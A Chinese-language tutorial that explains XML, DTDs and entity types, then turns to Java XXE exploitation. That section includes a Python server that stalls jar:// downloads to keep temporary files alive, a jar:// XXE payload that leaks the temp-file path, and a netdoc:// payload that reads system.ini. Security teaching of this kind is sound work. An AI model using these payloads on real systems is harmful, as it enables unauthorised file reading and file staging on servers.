1 XML 基础
XML(可扩展标记语言,EXtensible Markup Language ),是一种标记语言,用来传输和存储数据
1.1 XML文档结构
XML文档结构包括XML声明、DTD文档类型定义(可选)、文档元素。
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19
| <?xml version="1.0"?>
<!DOCTYPE note [ <!--定义此文档是 note 类型的文档--> <!ELEMENT note (to,from,heading,body)> <!--定义note元素有四个元素--> <!ELEMENT to (#PCDATA)> <!--定义to元素为”#PCDATA”类型--> <!ELEMENT from (#PCDATA)> <!--定义from元素为”#PCDATA”类型--> <!ELEMENT head (#PCDATA)> <!--定义head元素为”#PCDATA”类型--> <!ELEMENT body (#PCDATA)> <!--定义body元素为”#PCDATA”类型--> ]>
<note> <to>Dave</to> <from>Tom</from> <head>Reminder</head> <body>You are a good man</body> </note>
|
1.2 DTD
DTD(文档类型定义,Document Type Definition )的作用是定义XML文档的合法构建模块。它使用一系列的合法元素来定义文档结构。
DTD引用方式
1)DTD 内部声明
2)DTD 外部引用
1
| <!DOCTYPE 根元素名称 SYSTEM "外部DTD的URI">
|
3)引用公共DTD
1
| <!DOCTYPE 根元素名称 PUBLIC "DTD标识名" "公用DTD的URI">
|
DTD 关键字:
- DOCTYPE(DTD的声明)
- ENTITY(实体的声明)
- SYSTEM、PUBLIC(外部资源申请)
- ELEMENT(定义元素声明)
PCDATA
PCDATA 的意思是被解析的字符数据(parsed character data)。
可把字符数据想象为 XML 元素的开始标签与结束标签之间的文本。
PCDATA 是会被解析器解析的文本。这些文本将被解析器检查实体以及标记。
文本中的标签会被当作标记来处理,而实体会被展开。
不过,被解析的字符数据不应当包含任何 &、< 或者 > 字符;需要使用 &、< 以及 > 实体来分别替换它们。
CDATA
CDATA 的意思是字符数据(character data)。
CDATA 是不会被解析器解析的文本。在这些文本中的标签不会被当作标记来对待,其中的实体也不会被展开。
1.3 实体分类
实体可以理解为变量,其必须在DTD中定义申明,可以在文档中的其他位置引用该变量的值。
实体按类型主要分为以下四种:
- 内置实体 (Built-in entities)
- 字符实体 (Character entities)
- 通用实体/普通实体 (General entities)
- 参数实体 (Parameter entities)
完整的实体类别可参考 DTD - Entities
1.3.1 内置实体 (Built-in entities)
- &符号:
&
;
- 单引号:
&apos
;
- >:
>
;
- <:
<
;
- 双引号:
"
;
1.3.2 字符实体 (Character entities)
通常是 html 的实体编码,例如:
1 2 3 4 5 6
| <?xml version = "1.0" encoding = "UTF-8" standalone = "yes"?> <!DOCTYPE author[ <!ELEMENT author (#PCDATA)> <!ENTITY copyright "©"> ]> <author>&writer;©right;</author>
|
©
即 ©
1.3.3 普通实体 (General entities)
简单理解即引用替换,语法:
Example:
1 2 3 4 5 6 7 8 9
| <?xml version = "1.0"?>
<!DOCTYPE note [ <!ENTITY source-text "tutorialspoint"> ]>
<note> &source-text; </note>
|
1.3.4 参数实体 (Parameter entities)
参数实体的目的是创建动态替换的文本节
语法:
1
| <!ENTITY % ename "entity_value">
|
- entity_value 可以是除
&
, %
或 "
外所有字符
test323.xml
1 2 3 4 5 6 7 8 9
| <?xml version="1.0" encoding="UTF-8"?> <!DOCTYPE person SYSTEM "test323.dtd"> <person> <name>Jason</name> <addr>Shanghai</addr> <tel>18701772821</tel> <br/> <email>18701772821@163.com</email> </person>
|
test323.dtd
1 2 3 4 5 6 7
| <?xml version="1.0" encoding="UTF-8"?> <!ELEMENT person (name,addr,tel,br,email)> <!ENTITY % name "(#PCDATA)"> <!ELEMENT addr %name;> <!ELEMENT tel %name;> <!ELEMENT br EMPTY> <!ELEMENT email %name;>
|
参数实体必须先定义再使用,而不能像一般实体那样随意放置。
1.4 内部实体和外部实体
实体根据引用方式,还可分为内部实体与外部实体,看看这些实体的声明方式。
内部实体:
1
| <!ENTITY entity_name "entity_value">
|
外部实体:
1
| <!ENTITY name SYSTEM "URI/URL">
|
1.5 通用实体和参数实体
其实按照使用来分类,又可以将实体分为通用实体和参数实体。
通用实体
用 &实体名; 引用的实体,他在DTD 中定义,在 XML 文档中引用
参数实体
- 使用
% 实体名
(这里面空格不能少) 在 DTD 中定义,并且只能在 DTD 中使用 %实体名;
引用
- 只有在 DTD 文件中,参数实体的声明才能引用其他实体
- 和通用实体一样,参数实体也可以外部引用
1.5.1 内部通用实体
语法:
1
| <!ENTITY entity-name "entity-value">
|
Example:
1 2 3 4 5 6
| <?xml version="1.0" encoding="ISO-8859-1"?> <!DOCTYPE author[ <!ENTITY writer "Donald Duck."> <!ENTITY copyright "Copyright runoob.com"> ]> <author>&writer;©right;</author>
|
1.5.2 外部通用实体
语法:
1
| <!ENTITY entity-name SYSTEM "URI/URL">
|
Example:
1 2 3 4 5 6
| <?xml version="1.0" encoding="ISO-8859-1"?> <!DOCTYPE author[ <!ENTITY writer SYSTEM "http://www.runoob.com/entities.dtd"> <!ENTITY copyright SYSTEM "http://www.runoob.com/entities.dtd"> ]> <author>&writer;©right;</author>
|
1.5.3 内部参数实体
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15
| <?xml version="1.0" encoding="UTF-8"?> <!DOCTYPE person [ <!ENTITY % name "(#PCDATA)"> <!ELEMENT addr %name;> <!ELEMENT tel %name;> <!ELEMENT br EMPTY> <!ELEMENT email %name;> ]> <person> <name>Jason</name> <addr>Shanghai</addr> <tel>18701772821</tel> <br/> <email>18701772821@163.com</email> </person>
|
1.5.4 外部参数实体
test323.xml
1 2 3 4 5 6 7 8 9 10 11 12 13
| <?xml version="1.0" encoding="UTF-8"?> <!DOCTYPE person [ <!ELEMENT person (name,addr,tel,br,email)> <!ENTITY % (注意这里有个空格)content SYSTEM "test323.dtd"> %content; ]> <person> <name>Jason</name> <addr>Shanghai</addr> <tel>18701772821</tel> <br/> <email>18701772821@163.com</email> </person>
|
test323.dtd
1 2 3 4 5 6
| <?xml version="1.0" encoding="UTF-8"?> <!ELEMENT name (#PCDATA)> <!ELEMENT addr (#PCDATA)> <!ELEMENT tel (#PCDATA)> <!ELEMENT br EMPTY> <!ELEMENT email (#PCDATA)>
|
2 Java XML 解析
Java XML 解析 主要相关的函数
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19
| javax.xml.parsers.DocumentBuilderFactory; javax.xml.parsers.SAXParser javax.xml.transform.TransformerFactory javax.xml.validation.Validator javax.xml.validation.SchemaFactory javax.xml.transform.sax.SAXTransformerFactory javax.xml.transform.sax.SAXSource org.xml.sax.XMLReader DocumentHelper.parseText DocumentBuilder org.xml.sax.helpers.XMLReaderFactory org.dom4j.io.SAXReader org.jdom.input.SAXBuilder org.jdom2.input.SAXBuilder javax.xml.bind.Unmarshaller javax.xml.xpath.XpathExpression javax.xml.stream.XMLStreamReader org.apache.commons.digester3.Digester rg.xml.sax.SAXParseExceptionpublicId
|
解析实例和防御方法可以查看:
http://www.lmxspace.com/2019/10/31/Java-XXE-总结/
https://cheatsheetseries.owasp.org/cheatsheets/XML_External_Entity_Prevention_Cheat_Sheet.html#java
3 Java XXE 利用
各平台支持的协议如下
- 其中从2012年9月开始,Oracle JDK版本中删除了对gopher方案的支持,后来又支持的版本是 Oracle JDK 1.7 update 7 和 Oracle JDK 1.6 update 35
- libxml 是 PHP 的 xml 支持
Java中的XXE支持 sun.net.www.protocol
里面的所有协议:http,https,file,ftp,mailto,jar,netdoc 。一般利用file协议读取文件、利用http协议探测内网,没有回显时可利用file协议结合http协议或ftp协议来读取文件。
Java XXE 的利用和 php 的查不多,总结一般的利用方式如下:
- file 协议读文件
- 内网主机探测
- 内网端口探测
- DoS拒绝服务攻击
详细可以查看:https://www.k0rz3n.com/2018/11/19/一篇文章带你深入理解 XXE 漏洞/
区别于 PHP 的利用方式如下
3.1 jar:// 文件上传
jar 协议语法,jar:{url}!/{entry}
,url是文件的路径,entry是想要解压出来的文件
jar 协议处理文件的过程:
- 下载 jar/zip 文件到临时文件中
- 提取出我们指定的文件
- 删除临时文件
那么延长服务器传递文件的时间,就可以延长临时文件存在的时间
server.py,这里在传输最后一个字符的时候会 sleep 30s
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 28 29 30 31 32 33 34 35 36 37 38 39 40 41 42
| import sys import time import threading import socketserver from urllib.parse import quote import http.client as httpc
listen_host = 'localhost' listen_port = 9999 jar_file = sys.argv[1]
class JarRequestHandler(socketserver.BaseRequestHandler): def handle(self): http_req = b'' print('New connection:',self.client_address) while b'\r\n\r\n' not in http_req: try: http_req += self.request.recv(4096) print('Client req:\r\n',http_req.decode()) jf = open(jar_file, 'rb') contents = jf.read() headers = ('''HTTP/1.0 200 OK\r\n''' '''Content-Type: application/java-archive\r\n\r\n''') self.request.sendall(headers.encode('ascii'))
self.request.sendall(contents[:-1]) time.sleep(30) print(30) self.request.sendall(contents[-1:])
except Exception as e: print ("get error at:"+str(e))
if __name__ == '__main__':
jarserver = socketserver.TCPServer((listen_host,listen_port), JarRequestHandler) print ('waiting for connection...') server_thread = threading.Thread(target=jarserver.serve_forever) server_thread.daemon = True server_thread.start() server_thread.join()
|
运行服务器,让其监听
然后 xxe 结合 jar 协议
1 2 3 4
| <!DOCTYPE convert [ <!ENTITY remote SYSTEM "jar:http://localhost:9999/1.zip!/wm.php"> ]> <convert>&remote;</convert>
|
因为 1.zip
中并不存在 wm.php
这个文件,所以可以在报错中看到临时文件的位置
这里实际测试并不一定只能上传 zip
格式的文件,但因为 jar 协议会对文件进行解包操作,如果不上传 zip
格式文件在报错里是看不到临时文件路径的,所以需要先正常上传一次 zip
格式文件获取路径然后再上传其他文件。
3.2 netdoc 协议
Java 中 netdoc 协议可以替代 file 协议功能,读文件:
1 2 3 4 5 6
| <?xml version="1.0" encoding="utf-8"?> <!DOCTYPE creds [ <!ELEMENT creds ANY> <!ENTITY xxe SYSTEM "netdoc:///c:/windows/system.ini"> ]> <creds>&xxe;</creds>
|
同时也可以列目录:
参考链接